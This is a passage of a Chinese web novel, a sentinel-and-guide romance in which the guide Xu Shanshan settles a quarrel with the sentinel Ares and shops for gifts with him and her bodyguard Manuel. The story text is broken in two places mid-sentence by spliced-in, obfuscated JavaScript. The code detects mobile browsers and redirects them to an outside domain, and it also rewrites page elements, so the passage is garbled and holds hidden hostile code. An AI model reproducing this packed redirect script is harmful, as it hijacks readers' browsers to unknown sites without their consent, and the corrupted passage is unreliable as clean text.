挤开板寸男,他像天神一样闯了进来,挡在她身前,看向他肩膀处的黑雾,知道他的名号,但这不意味着他可以对一名向导无礼,“让开,哨兵。” 板寸男也毫不客气,“我没在和你说话,”目光看向身后的女人,又上下打量身前的男人,没见过这号人,看她信任地贴在对方身后,内心的酸意忍不住涌出来,“你就是她的哨兵?” 呃…… 事情好像往不可预知的方向发展了,两人都愣住了,他是什么意思? “不,他不是——” “是又如何?” 白解释了,看来不是来抢劫的,应该是认错人了,眼见着两人发生冲突,她从曼努埃尔身后走出来,插在两人中间,双手摊开挡住两人,“都先别吵,要吵去餐厅吵。” “我去收拾东西,我们一起去餐厅聊聊。” 曼努埃尔:“已经收拾好了。” 她想了想,“我还要借剩下那三册,”却没想到对方回答:“也收起来了。” 好吧,看来是没有任何后顾之忧了,她往前走了一步,板寸男后退,摁向按钮,静静地等着电梯到来。 电梯门打开,她率先走进去,站在门边,摁向负一层,然后往角落一站,而曼努埃尔紧跟在她身旁,板寸男也毫不示弱,站在她面前,转过头来看着她。 怪人,她拧着眉看过去,谁知对方一副理所应当的表情,甚至还反过来瞪她,非要贴着她,无奈 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曼努埃尔看过来,只要是她想要的,他愿意执行,点了点头,“当然,我不会透露任何事。” “好,”服务员送来三杯冒着凉气的饮品,手摸上去,凉爽得很舒服,男人递过来杯套,她挥手拒绝了,可能是家族遗传,她家里面女性长辈来月经都没多大反应。 喝进嘴中,好喝到眯起眼睛,低头安静地喝咖啡,不时看向窗外,几乎忘了另外两人的存在,而他们也举过去,不咸不淡地啜饮。 感受到锁骨处传来痒意,她伸手挠了挠,转头看向两人,才发现都低头注视着自己,差点忘了自己是来调解误会的,她放下杯子,擦了擦嘴,环视两人,“那我们开始吧。” 因为这是长官认证的保镖,说明实力不差,她说话也就没那么弯弯绕绕,直截了当地开口,“你为什么要堵我门?” 桌子对面的男人,听了这话,突然埋下头,左右转动。她和曼努埃尔对了个眼神,他不经意地将手臂放至桌上,两人贴得更近了些。 “为什么要拉黑我?” 曼努埃尔皱眉,“什么意思?” 她的眼睛一下子瞪大,张开手举起来,“等,等等,先别说话!”于是两人又看过来,她抬起杯子暴风吸入,让自己稍微冷静下来,不是网友怎么会找上门? 见她面露难色,曼努埃尔猜想两人应该是认识,也发生过什么事,但不论缘由,既然她不愿再见对方,他哪里再来的脸纠缠,难道不明白这会给对方造成困扰? 曼努埃尔:“你不想见他?” 他说这话,就好像她一点头,他就会站起身把他轰出去似的。听他暗示性提问,她竟然纠结起来,板寸男忍不住了,应该就是他唆使的吧,不然两人前天还聊得好好的,怎么突然把他拉黑了? “我和她的事,你少管。” 他的话被当成耳旁风,而徐珊珊被夹在中间,她无奈地仰头看向天花板,没想到好色会惹来这么大麻烦,不是说匿名论坛吗?匿了个寂寞,她还是第一次被人找上门质问,还是这种关系。 顾虑着对方把事情捅破,虽然,她看向曼努埃尔,感觉依照此处风气,会受惩罚的也不会是她,最多又惹长官生气,说自己不注意安全。但是,多一事不如少一事对吧。 她抬起头,露出一个经典微笑:“都是误会,不小心摁错了,我这就把你拉出来。” 14. 第 14 章 摁错了,蹩脚的理由。但既然她这么说,愿意给个台阶,他也就顺着下,接受了这个解释,总之对方只要没亲口说,他就当不知道,死皮赖脸地跟着,一侧嘴角扬起,挑眉看向对面的绿眼男人。 十足的挑衅,但对方竟然忽视了他,这么能忍的吗?看起来地位也不怎么样。从两人的互动来看,关系不亲近,副队给的消息是不是错了?尽管知道他很少说错,但还是忍不住暗自期待。 “好了,”徐珊珊将他取出黑名单,接着将光脑黑屏,板寸男抬起手,发送消息,看到成功了,“以后不要再删我了。” 误会解除,他又变成一副任人揉搓的撒娇小猫形象,但这很违和,线上的时候,她的想象是年下弟弟,但是现场见面的时候,那凶煞人的霸道气场,就和装乖很不搭了,特别是他黑脸生气的样子,像一座即将爆发的火山,非常恐怖。 不过他肩膀上的“小猫”倒是很可爱,虎头虎脑的。女人的视线望过来,精神体害羞地缩到背后,仅露出两只三角形耳朵,黑雾拉长成丝线,飘在耳旁,形成毛茸茸的视觉,左右微微摇动,爪子搭在肩膀上,悄悄露出一只眼睛。 并不是常规的兽形,见她对自己的精神体感兴趣,阿瑞斯松开了束缚,于是它从肩膀上一跃而下,轻巧地跳到桌面,张开嘴,粗长的犬齿便暴露出来。 “嘬嘬,过来。”她伸出手,往下挥,勾引那只可爱黑虎来怀里。 怎么是叫小狗的声音,阿瑞斯一下子不知道该怎么放,脸上笑容一滞,谁知“小猫”昂起头,咕噜了一声,好像生气了,随后尾巴甩动,完全没看她,状似不经意地往前走,一脚刨开曼努埃尔放在桌上的饮品,杯子倾斜,液面斜上升,被他接住,才没撒出来。 然后傲娇地站在桌子边缘,任凭她怎么喊也不动,蹲坐在那里打着哈欠,这家伙,不识好歹,阿瑞斯想掀起它的脖颈,好好教育一下,被她制止了,将那团黑雾搂进怀里。 “乖宝宝,”它一抱进怀里就老实了,完全不复刚才那副无动于衷的姿态,摸起来的触感很奇妙,很像棉花糖,但要是用力捏,两团雾就会分开。 不知怎么的,阿瑞斯说话都打颤了,他感到快感像电流般袭窜全身,“你,你喜欢它吗?” “喜欢,”她斩钉截铁地回答,惹得它开始舔自己的掌心,有些刺挠,圆润的脑袋顶上来,于是接着摸头,“你的精神体很特殊。” “对,我刚分化为哨兵时,它就这样,收不回去。” “噢,那有没有因此遇上什么麻烦?” …… 那头恃宠而骄的黑狮,在她看不见的地方对着曼努埃尔呲牙,而当他抬起手臂,更被视为试图靠近,亮出尖锐的爪子威吓。但她已经陷入了和这位哨兵的聊天中,无暇顾及他。 曼努埃尔感觉到一种失落,短短几分钟,两人从不熟悉,到交换姓名,然后她被逗得捧腹大笑,成为相处愉快的朋友。这种场景令他感到熟悉,又因为这份熟悉而倍感遗憾,整个人被蒙上灰色调,与另外两人隔绝开。 他们和那只理所应当地霸占她怀抱的精神体,就像和谐的一家,构成嘈杂的背景音,他感到自己体内的精神海开始混乱,有个声音嘶叫着,它也要出来,也想被接纳,被拥抱。 但他是不可能做这件事的,就像他不会在对方面前取下面罩,毕竟,那看起来像个丑陋的怪物,她不会喜欢的,自己不应该这样做。 “曼努埃尔,你的精神体是什么?”晶莹剔透的一双眼,下方有圆润的卧蚕,她笑着看过来,似乎也对他产生好奇,炽热、不断翻滚的烙铁一样的内心停歇,像被浸入溪流,只发出滋滋声,迅速冷却下来。 思绪回到现在,他加入两人的谈话,“灰狼。” “狼?”她感到不可思议,像是听到了什么震惊的事一样,两只眉毛都挑起,摸猫的动作也停下,“你确定是狼吗?” “它的脖子上是不是有,”徐珊珊停了下来,她感觉自己失心疯了,怎么会混淆梦境和现实,摇了摇头,“算了,当我没说。” 阿瑞斯不满被冷落,出声将注意力拉回他那儿,而她也不像之前那样,轻松地同他开玩笑,视线躲避,不再投入,没有再提问,而是不断附和,连肢体都不自觉地往窗边靠,远离他,心里藏着事。 他可以补全她的问话,但曼努埃尔没有选择这样做,如果她问出来,他不会说谎,恐惧和期待并列。但如果她最终决定放弃,把它当成一场梦,那他也不会透露。那就是一场梦。 他会尊重她的决定,如果刨开脑中不停的狼嚎声的话,就好像真的毫无感觉,毫不在意。 咖啡液见底,凉风吹得太久甚至有点冷飕飕的,她看向时钟,“现在下午四点,还有时间,你们还有别的事吗?” 阿瑞斯很快回答:“我晚上九点前回去就行。” “你呢?” 曼努埃尔:“我要保护你的安全。” 意思就是无论她去哪儿,对方都会跟着,很好,“待会儿这件事,没你们两个还真是不行。” 她的话引起了两人的兴趣,什么事是没他参与不行的?阿瑞斯毫无疑问地忽略了她口中的另一个人,期待地思考那些两人活动,旖旎的想法穿过脑中,看向她怀里的精神体还扒着不松手,强硬地将它召回来。 阿瑞斯:“可以,但在此之前,我想和你单独聊聊。” 她也正有此意,看向曼努埃尔,对方站起身,“我去趟卫生间。” 待无关人士离开,阿瑞斯终于问出了那个最在意的问题,“他是你的哨兵吗?” 啊?秀气的眉毛拧成八字,面露难色,没想到他要问这个,“什么意思?” “你们的关系。” “普通朋友,”她停下来,四处张望,没有绿眼男人的身影,莫名心虚,他应该还在上厕所,手指不断敲击桌面,本来就是只见了一面的普通朋友,对吧? “那你的哨兵是谁?” 阿瑞斯执着地追问,不时瞥向衣领前的项链,那枚碍眼的黑蜘蛛,许多哨兵给向导送带有标志的装饰品,用来向其他人彰显自己的存在。当然反过来也是一样的,要是能收到一件能够明确归属的礼物,被承认的人也会欣喜若狂。 她仔细想了想,“暂时还没有,”这是事实,不在意地耸了耸肩,“也许以后会有。” 他的消息果然是错的,有了她的保证,阿瑞斯的心情一下子变好,连她脖子上讨厌的蜘蛛项链也看惯了,“那我——” “你先别急,等我提问,咱们一个对一个。” “你问。” “为什么前天晚上信息轰炸我?” “我以为你喜欢,论坛上说:‘撒娇哨兵最好命。’” 她绷不住自己的表情了,捂着脸低头笑起来,见她高兴起来,对方的神情也变得轻松,“你不喜欢吗?” “嗯,以后不要信息轰炸我,一天最多发一条信息,明白吗?” “五条?” “三条,我没回你就代表我在忙,”光明正大地说完这个。 “那照片算在内吗?” “什么照片,”她喃喃自语道,男人轻易脱口而出,“就裸——”吓得她跳起来,手撑在桌面,捂住对方的嘴,小声威胁:“闭嘴然后我放开你。” 男人迟迟没回应,他压根不想她放开他,只觉得手好白好软,好想感受一下她的味道,但对方已经松开了手,四处慌张地看来看去,像一只警惕的松鼠,可爱得他要萌化了。 “咳,”为了避免他出去乱说,她强调了一下,“以后我们就是正常、健康的网友关系,不要给我发那些照片了。” “为什么,你不喜欢吗?” “那倒也不是,”她诚实地回答,又被他带跑偏了,这不是喜不喜欢的问题,这是有关名誉的大事,要是早知道身份会被扒出来,她是说什么也不会和人网聊的。 “总之不准发了,以后你就记住,我们是纯洁的朋友,不准和别人说给我发过这些东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曼努埃尔没有回应,因为这是他给自己预想的,安排的位置,他该满足了。至于这只张牙舞爪的蠢猫,在她面前,没有搭理的欲望。他已经和当初很不一样,脾气被磨掉了许多。 有的人只能仰望,不该靠近,抬头看向阿瑞斯,又侧过眼,心中不屑又略带嫉妒的想,也就是一副好皮囊,在她面前搔首弄姿。而他们已经进行过精神链接,和他不过是身体上的吸引。 曼努埃尔就这样自欺欺人地洗脑自己,消磨不甘心和不平衡感,总之就是一个字,赢! 被嘲讽竟然笑出来了吗,真是个怪人,阿瑞斯感到一阵恶寒,要不是珊珊向导,真是一秒都不想和他待在一起。说曹操曹操到,一股清香,夹杂着微妙的血腥气扑入鼻尖。 “哈喽,各位。” 她在里面站了一会儿,清醒完从卫生间走出来,眼睛又恢复光彩,兴高采烈地向两人打招呼,板寸男想凑进来,被她拒绝,挥手示意不要拥抱。 “走吧,我们一会儿还有别的活动呢。” “你的味道,”鼻翼翕动,而曼努埃尔也一副愣住的样子,她呆了一下,随后回想起来,抬手,“把我的包递给我。”转身往洗手间冲去。 在隔间内更换生理用品,处理气味,幸好这里大多是普通人,都没什么反应,结束后洗干净指尖,走了出去,不自在地抬起手嗅闻。 阿瑞斯:“现在好多了。” 曼努埃尔:“你刚刚受伤了吗?” 她摇了摇头,将话题搪塞过去。不再破防的原因,是刚才在论坛上搜索相关情况,发现这种行为并不会受到惩罚或歧视,下面基本是羡慕嫉妒恨,还有求教学,没什么负面言论。 而搜索引擎弹出来的都是:如何和向导搭上话这一类的标题,压根没有相关词条,不断地更换关键词,进行搜索后,还弹出一个框:你是否被哨兵骚扰了? 她点了否,看起来白塔对向导真的很宽容,没必要自己吓自己,换句话说,我就干了,那咋了? 倩丽的身影率先走出咖啡馆的门口,转身仰起头,开怀地笑着说:“陪我去挑选礼物吧!” 阿瑞斯:“什么?” 曼努埃尔:“给谁?” 异口同声的问句,见向导将手指搭在唇下,红润的嘴唇抿在一块,眼珠向上转,她在思考怎么回答。 正是因为人太多了,她才叫上两人一起帮忙参谋,在周五正式注册后,第一笔薪水就提前发放了,还有各项补贴,加起来也是一笔巨款。 她简要回答:“很多人。” 15. 第 15 章 走出路口,坐在岸边长椅上等车。先驶来的是一辆机车,由远及近,车头较大,像兽的颅骨,前照灯是上扬的菱形,暗蓝色涂漆护板,双梁式前悬架上包裹着琥珀色铸造铝合金,前方是巧妙的双轮设计,车尾窄小上翘。线条流畅,造型独特而前卫。 “滴、滴。” 两声短促的鸣笛声,阿瑞斯戴着头盔,从摩托车座椅上下来,在边箱翻找,然后递过来一个头盔,想带她一起兜风。但这大太阳天,短短几分钟,即使处在树下乘凉,仍后脊出汗,摆了摆手,实在接受不了暴晒。 徐珊珊:“太热了。” 阿瑞斯觉到一丝咸味,这才拍了拍头,确实太热了,肩膀处的黑狮仿佛能感受到热量般,将舌头吐出来,他了然地将东西放回去,站着看她走向后方的越野车。 那是一辆纯黑七座四驱车,车头方正,配上圆形大灯,前照灯的下侧还有一排小探照灯,走近车身,轮胎既宽且高,胎肩布满立体花纹,沟槽倾斜错落,车顶安装着车顶行李箱,外表面没有脏污,反射光泽,它被保养得很好。 车长近六米,底盘高到靠齐她的裆部,车门被打开,露出真皮脚垫,凉气散出来,她面露难色,怎么上,难道要踩轮胎爬上去?这也太欺负普通人了吧。 越野车将前方的摩托车以及路过的轿车都衬成了小不点,看起来霸气十足。但一个人在市区出行有必要开这种大车吗,不耗油吗,停车也不方便啊。 曼努埃尔:“我扶你上去。” 说是扶,其实是抱,两米高的身躯,搂住她的腰往上抬,身体悬空,脚缩起来,直到地毯低于脚底,伸腿踩上去,伸开双手扒着座椅靠背,试图将身体前倾,但力气不够。 身体后仰,后腰处扶着的手,让她不至于往后倒,“小心,”看起来她自己逞强反而增加了身后人的负担,还要分神担心她晃动,于是她不动了,以一种窘迫的姿态上了车。 男人将车门关紧,接着从另一侧上车,她则趁这时拉好安全带,只见他轻轻一跳就跃了上来,可能鞋底装了弹簧吧,她没有和这些超级人类比身体素质的想法,毕竟她的长处在别处。 “抱歉,给你造成不便了,下次我会加装踏板。” 搭别人的便车当然没有挑三拣四的理由,“没有,它很酷。”车内空气清新,其实舒适感不错。 她仰头四处环望,终于找到了曼努埃尔衷情于使用它的依据,她在门饰板下方看见了巴掌大的彩绘,已经有些褪色了,上面是犬亚科的狗狗们,嘴巴咧开,笑意洋洋,站在最中间的一头高大灰狼,将手指轻轻地覆上去,这是曼努埃尔的队伍吗? 曼努埃尔:“你对它感兴趣吗?” 她转过头,本来很兴奋地想回答对,但他的眼里藏着不易察觉的落寞,他的队员去哪里了呢?转头看向后座空荡的椅子,目光上下闪躲,小心翼翼地问:“可以吗?” “咚咚咚——” 车门被敲响,声音从身后传来,阿瑞斯站在门外,透过后视镜看到他鼻梁滑动的汗珠,他热得够呛,豆大的汗珠浸染鬓角,她划下车窗,视线更清楚。 阿瑞斯:“捞我一程?” 徐珊珊:“是谁出门不看天气,光知道耍帅?” 被调侃,他也不气恼,嬉皮笑脸道:“我错了,大小姐。” 他已经联系人来拖车了,会暂时存放在别处,热只是一方面,其实发动机设置了三合一散热系统,并不会有骑着火炉的痛感,烈日灼热,将裸露的皮肤照的发烫变红,但还能忍受。 最近气象古怪,凉风从栅栏间散出,贴着她的手臂携着体香飘向阿瑞斯,给他带来身体和精神上的双重满足,她将下巴搭在车窗上,他克制的没有凑上去,一包湿巾被递过来。 绿眼男人从座椅下方掏出一个皮面活页本,望见某凑上来的人,他将座椅复原,坐起身开锁,后车门滑动开启。光线照向第二排的两个座椅,这位也是一个弹跳上车,落地却很轻盈,感觉不到车身晃动。 他刚坐稳,那只雾形成的黑狮就从肩膀上跳下来,跃过座间储物箱,扑到她的腿上,又开始用手蹭胳膊,四仰八叉的,摸了摸它的小巴,吹了一会儿空调后,翻过身躺在怀里睡着了,蜷成一团,眼睛也眯成一条缝。 曼努埃尔将那个本子递给她,她略带好奇地接过去,车辆缓缓启动,他将视线转向前方,语调轻柔,“想去哪儿?” 徐珊珊:“我想去买礼物,但不清楚地方,你们有什么推荐吗?” 曼努埃尔:“你打算送给谁呢?” 阿瑞斯被束在后座,被椅背挡住看不清她的脸,偏偏黑虎又睡着了,只能斜向看后视镜,那蒙上了灰色滤镜。听见她说的话,心底也急,尽管也期待,但他明白那些人不会包括自己。 “很多人,空战组的你认识么?” 绿眼男人轻微摇头,自己已经很久不居一线了,非要说的话,前段时间揍了一个不知轻重的年轻人,对方的精神体好像就是鸟类,应该隶属空战组,他下手不重,这段时间应该好得差不多了。 与此同时,刚从负三层被放出来的宋晓宇打了个喷嚏,好像有谁在念叨他,他希望是向导小姐。后面她没再来找他,应了囚友们的嘲笑,但反而感到庆幸,不希望对方看见自己这副模样,毁了在她心中的形象。 伤是养得差不多了,只是脸上还红肿淤紫,挂了相,那人心思也太狠毒,丑八怪就是见不得别人好,本想继续找狱管再公正较量一番,但那人不在,算他好运。 与此同时,徐珊珊抬手翻开线圈本的第一页,上面画着一个大大的爱心,印着粉色花字:陆战组犬科联队。惊讶又喜悦地蹬圆了眼,没想到这群人也会有少女心,好奇这是谁设计的,捂着嘴看向曼努埃尔偷笑。 曼努埃尔:“是白阳做的,当时队里很多人还不想要,觉得拿出去会被取笑。” “我觉得很可爱。”她继续往下翻。 阿瑞斯不甘被冷落,回到上一个问题:“我认识空战组的人,”女人翻阅的动作停下来,透过后视窗与他对视,摆出认真倾听的模样,“达伦、宋晓宇、解逸飞……” 他竟也记得大多数人,边如数家珍般念出各人的名字,边不认可地摇头,最后给出一句不公正评价,“一群爱臭美的鸟人,”最后是认识理由,“我们有时也一起训练、出任务,参与模拟演习,你想送谁?” 上下扫视,体表和衣服上挂满链条和金属装饰,打着耳钉,一副潮男装扮,怎么好意思说别人爱美? 她想了想,“都有,我还没见过达伦。空战组的人一般喜欢什么,你知道吗?” 为什么要管他们喜欢什么,阿瑞斯:“为什么要送他们东西?” “因为他们帮了我的忙啊。” 见他一副不信的样子,她掰起手指头开始数,近两只手的人数,等她说完自己的理由,连曼努埃尔,向来不会忤逆她决定的人,也轻微地皱眉,忍不住插嘴。 “没必要因此感谢他们,”手臂打着方向盘,被选中做精神疏导,减轻污染水平,有机会接近向导,还要接受她的礼物,这样做不合适。 阿瑞斯很少赞同绿眼男,但这话没错,他费尽心机争取到的机会,别人近水楼台轻易获得了,占了便宜还卖乖,真是脸都不要了。更何况那算是什么帮忙? 突然有一天,领导给穷到快饿死的你升职加薪爆金币,到最后还送礼物感谢你给她这个付出的机会,童话故事都没这么写的。他们不感恩戴德都算白眼狼,还连吃带拿的。 简直是天方夜谭。他敢肯定这事爆出去,她会登上哨兵论坛的传奇人物,知名菩萨,这不是一件好事,纵容别人的贪婪,他们只会渴求更多,到最后整个将她淹没的。 阿瑞斯:“这是哨兵的职责,被你选中是他们的荣幸。” 曼努埃尔:“他们不该成为你的负担。” 脾气不和的两人一致反对,她原本自认有理,此时也不得不谨慎思考,这个世界的规则和原来不太一样,虽然过意不去,但她也没必要忽视两人的好心提议。 怀中的雾团子被争执声吵醒,抬起头看了她一眼,睡眼惺忪,伸手勾了勾对方的下巴,又埋下了头。 “那给我的救命恩人挑一件吧,没有他,我该死在危险区了。”还有长官和薛柔姐,帮了她很多,作为最初的引路人,她知道初入职场有个耐心的老手带多么幸运。 见她坚持,其余两人没反驳,只是陪着喜欢的人去给情敌挑礼物这件事实在让人开心不起来。 三人从商城出来的时候,曼努埃尔手上提着大包小包,阿瑞斯走在身侧为她撑伞,因为靠得近,这回由阿瑞斯抱她上车,这次她没乱动,任由对方将她平稳地送上座位。 曼努埃尔打开车门,想将它们放到后座,她伸手,于是往前递,迫不及待地来回翻看,阿瑞斯不解地凑到头枕侧面,“这团泥是什么?”她还买了许多不同的颜色,配套工具更是一大堆。 “黏土,可以用来捏手办的。” 阿瑞斯:“手办又是什么?” “就是亲手做的模型,” 阿瑞斯:“那那个呢,为什么要买一团羊毛?” “我要做羊毛毡,”好奇宝宝的问题实在太多,她打住话题,“不准问了,到时候我发成品给你看。” “好。” 曼努埃尔显然了解更多,“你喜欢做手工?” 她点点头,一点个人的小爱好,通话铃声突然响起,手腕上的光脑黑屏,不是她的,转头看见中控显示器上的来电提醒,长官直呼曼努埃尔。 男人接听电话,她侧头将食指竖在唇间,做了个嘘声的表情,于是长官的声音回荡:“我这边还有事要处理,没办法来接她,你把她送到我下述地址,通过人脸识别进门。” 曼努埃尔没有立即回应,而是抬头看她,通话另一侧的山昊坐在椅子上,有些不安,“她还好吗?” 徐珊珊冒出声,“我很好,长官,我们刚从图书馆出来。”她漫不经心地撒了个谎,藏了个小惊喜。 “嗯,”听得见那边有人喊他,长官应了一声,“稍等,”语速加快,“早点回来,不要在外面玩太久。” “我知道了,我们再吃个饭就回去。” “你最近别吃冰的,或者辛辣食物,知道么?” “嗯嗯,”她一边接过阿瑞斯递过来的冰淇淋,一边应下。 像是察觉到她可能会阳奉阴违,他又喊了一声,“曼努埃尔,她的健康最重要,不要纵容她,你应该明白我的意思。” 曼努埃尔想了想,回应道:“我明白。” 他也许还想问点什么,但那边又发出二次催促,他只简单地吩咐了两句就挂断了电话。 她刚舔上第一口,绿眸就看过来,欲言又止,她噘着嘴装作没看见,反正他又不在场,吃吃怎么了,她自己的身体自己清楚,更何况,再不吃就没机会了。 被一通电话打扰了兴致,阿瑞斯见她不高兴,将手上的圆筒递过来,“我这有抹茶味的,你要尝一口吗?” 还没有动过,她想着,凑过去舔了一口,嘴边抹上绿色奶油,他笑着递过来纸巾,擦了擦。 曼努埃尔:“想吃的话,可以下周再来。”一边调高空调温度,不再是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904800|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默认的冷飕飕凉风。 阿瑞斯:“别管他们,大小姐,我的也给你吃。”惹得曼努埃尔不赞同的皱眉回望,“胡闹,”他也不甘示弱地瞪回去,那咋了,就得随心所欲,这也不能干那也不能干,她又不是木偶,大不了热敷、按摩缓一缓,他好像忘了这位小向导的体质与他不同。 还是说她不该吃,徐珊珊一下子闷得不太想说话,侧下脸,一只手翻看手册,另一只手仍然举着甜筒,犬科联队一共有三支小队,分别是犬亚科、薮犬亚科和狐亚科,翻开目录,看完建队史和英勇业绩,第一个介绍的人就是曼努埃尔。 他既是犬亚科小队的队长,也是整个联队的大队长。除了个人介绍,更有些同学录似的评论,往下翻看都受到一致好评,放了个星级,上面打了五星好评,这也太搞笑了吧。 笑完,想到自己不该跟他们耍脾气,开口解释:“我接下来两个月都不能出来了。” 阿瑞斯:“为什么?”难道她的领导限制她外出,这可是犯罪行为,决不被允许的。 徐珊珊:“要参加四期的训练营,说是要提高我的野外生存和临场应变能力。” 曼努埃尔带下属经验的更多,因此猜到有别的原因,她看上去不像喜欢故意唱反调、阳奉阴违的人,“你是觉得以后没时间出来,所以不想浪费机会?” “对啊,”她又舔了一口冰淇淋,椰奶味的,“下周一我就要开始坐班静音治疗室,而业余时间,大概都要被训练填满了吧。”连薛柔姐都说那是魔鬼特训,想必是非常恐怖。 听起来很像是随队向导的训练营,但向导入队后,基本上只需要对队内哨兵负责,在特训期间,其他活动更是暂时搁置,腾出时间和精力,但她还要继续工作,未免太辛苦。 曼努埃尔:“你要随队外出吗?” “不,”她摇头,“看起来他希望我的德智体美劳全面发展。”好像是开后门把她塞了进去,每个阶段只参加一门课的学习,把时间拉长。 阿瑞斯:“如果你需要教练的话,我可以帮你。” “谢了,”她十动然拒。 “我可以给你带好吃的。” “那很不错了。”她露出了一个赞赏的眼神,右手往后伸,阿瑞斯一开始没反应过来,随后握住了她的手,“是击掌,”很热,她无奈地缩回来。 “以后你想吃什么,就点外卖,我训练结束了就去门口取,然后我给你送过去就行。” “挺好。” 曼努埃尔:“特训期间统一住宿,并且会没收光脑,每晚检查,如果要送的话,只能在她白天工作时间,后期会在野外,那里位置偏远,你去不了。” “那晚上不是联系不上她了?” 曼努埃尔:“恐怕是的。” 抛开这个话题,她将甜筒啃完,阿瑞斯从身后递过来拧开盖的瓶装水,心满意足地喝下去,随后接着继续看那本纪念册。犬科联队的人有很多,刚刚车上的涂鸦应该就是犬亚科小队的成员,每个人看起来都青春洋溢,连曼努埃尔的脸上也仍有一丝傲气。 将册子翻到末尾,有一个打印日期,推算一下,已经是八年前了。 三人又一起吃了晚饭,在本人的强烈要求下,由她请客,最后按原计划送她回家。 进入封锁区,行人渐少,到最后只有寥寥两辆车和满眼绿色。见她的视线往后看,舍不得回去,恰好外面没那么热了,水谷旁吹来凉风,看了天气逐时预报,导航上只剩下九百米,曼努埃尔提议:“要不要消消食,下车步行?” “好。” 于是他将车驶入停车场,停靠在车位上,三人缓慢往回走,曼努埃尔打开照明灯,打出光束,天色不早了,等走到家门前,一个人影站在院子里,抬眼看过来。 夜一黑,很多哨兵的眼睛就跟个手电筒一样一闪一闪的,她听见对方喊自己的名字,遂从曼努埃尔手中接过礼物袋,拖在大腿边,仓促地伸手说:“拜拜,明天,不对,下周见。” 两人同她说再见,她便接着转身快走,推开栅栏,走到长官身边,房门敞开,“先进去吧。” 她提着东西进去了,背包沉甸甸的向下坠,见他走向两人,有点紧张地扒在门边偷看,但没听到什么东西,脚边传来机器人的响亮欢迎声,可恶,见长官转头看过来,她心虚地往墙后躲。 他们应该什么都不会说吧。 她累得摊在沙发上,小腿发软,幸运的是,男人进来时表情平静,看向纸袋,“买了什么?” 激动人心的时刻到了,她从口袋里掏出一个方盒,礼带系着,风格端庄素雅,“这是什么?” 她拆开礼盒,一条暗紫色真丝提花领带卷在里面,嘴里还配音,“当当——” “我看你柜子里的领带颜色很单一,所以想着给你买一条。这可是最新款,”凑近了看,“它可是镶钻的,但是很小,也不张扬。” 山昊看到它的第一秒下意识想拒绝,他的饰品够用了,但看见她期待的眼神,溜到嘴边的话停下了,“我想衣柜里确实缺少一些其他颜色。”将它接过来,收下。 “那其他的呢?” “玩具,还有给薛柔姐的礼物。”听起来没什么问题。 紧接着又询问今日情况,她省略了部分细节,糊弄过去,反过来问他:“今天发生了什么事吗?” 说到这个,他沉默了一会儿,“没什么,已经处理好了。明天你还要出去吗?” 女人摇头,往后走了两步,随后倒在沙发上,“我走累了,想在房间里休息。” 山昊:“好,明天中午,我送你回白塔。” 16. 第 16 章 柔暖的风吹拂发丝,被水黏结成捆的湿发逐渐分明,在浴光灯下飞舞,像太阳边缘一抹金色。后颈的热意褪去,乌黑的秀发绕过天鹅颈,垂顺坠在胸前。 体表残余的水珠被布满细软绒毛的浴巾带走,五指从袖口伸出,掌背覆着白嫩的皮肉,青紫色静脉像数条蜿蜒的河流,指甲修剪得圆润,甲床下露出饱满的月牙。 低频的嗡鸣声在室内回响,溯着源头走去,是放置于枕头下方的方形光脑,小巧,轻易用拇指和食指将它捏住,抬到面前,两人发来的新消息。 绿眼狗:【晚安】 猫猫头:【你睡了吗?】 仿佛幻听,用曼努埃尔的语调、声色,念出这句话,还是让人在意,点开主页,没有任何信息。回到浏览器,男人的名字一个一个打上屏幕,点击搜索,最出名的是一位政客,除了名字外两人没有半点相似。 翻了十多页,全是官方新闻报道,还有媒体评论,唯有一场火灾报告,里面露出他的名字,但点进去,加载后,却显示该网页已失效。翻不到任何消息,回到论坛。 点开头像,昂首挺胸的大型犬,毛发浓密蓬松,两只耳朵立起,站姿端正,尾巴翘起。手指抓向家居服,触感清凉、柔软、顺滑,不,触感不对。 那夜的灰狼,刚摸上去时,粗硬纤长,只有将手指深入探进去,才能触及到内层细密柔软的绒毛。 回忆像幻灯片一样闪烁,灼热的呼吸仿佛又喷洒在脖颈间,夜光下,看不清面容,只能靠着双手触摸,感受皮肤的干湿,线条的起伏,不同部位间的肌肉如何连接,紧实或者放松。 向两人简单回复,她躺上床,见小绿点消失,知道她下线了,阿瑞斯抑制不住嘴角的笑容,回复了两个字:【晚安】,事情往好的地方发展。 门敞开着,躺靠在沙发上,一只手垂下,摸向冰凉光滑的瓷砖,另一只手感受沙发用料柔软细腻,但还是比不过,她的腰肢和腿带来的诱惑,没想到近处看比远处看还要漂亮,让他没法移开眼睛。 其他队员陆陆续续地从淋浴间出来,裸着上半身,仅着一条短裤,捧着洗脸盆往回走,洗浴用品之间碰撞发出乒乒乓乓声,橘调灯光和走道内泛冷调的灯光显得格格不入,他回来了。 路过时,停在门前,往里看了一眼,就看见一个躺在沙发上的人,不时地嘿嘿傻笑,隔着老远都能闻到那股傻气,看来是追爱成功了,发出“啧啧,”两声。 男人眉毛挑高,看向副队,嘴角下瞥,一副无可奈何的样子,他绝对不是羡慕,只是担心队长被向导像抹布一样用完就丢掉,到时候只能咬着手帕,失魂落魄地像个人偶。 你看吧,别人说两句,把他调成什么样了,他就不信了,哪有这么顺利的,但这也足够了,玩玩他,之后再哄一哄,别太绝情,哨兵期望的也不过如此了。 副队抵在门边:“阿瑞斯,一会儿要熄灯了。” 他这才从喜悦中脱离,发现门口的两人,刚才尽想着之后两人要将足迹迈向天南海北,完全没注意到别人,“知道了,”他高兴地吹起口哨,站起身,“等一下,”转身走进卧室,不一会儿出来,上半身覆着链条装饰。 佛尔克没有副队的好脾气,摇了摇头,嘴里嘟囔着:“没救了,”转头就走,比起做出言献策,他宁愿回去多玩会儿平板,不久连影子也消失在视野里。 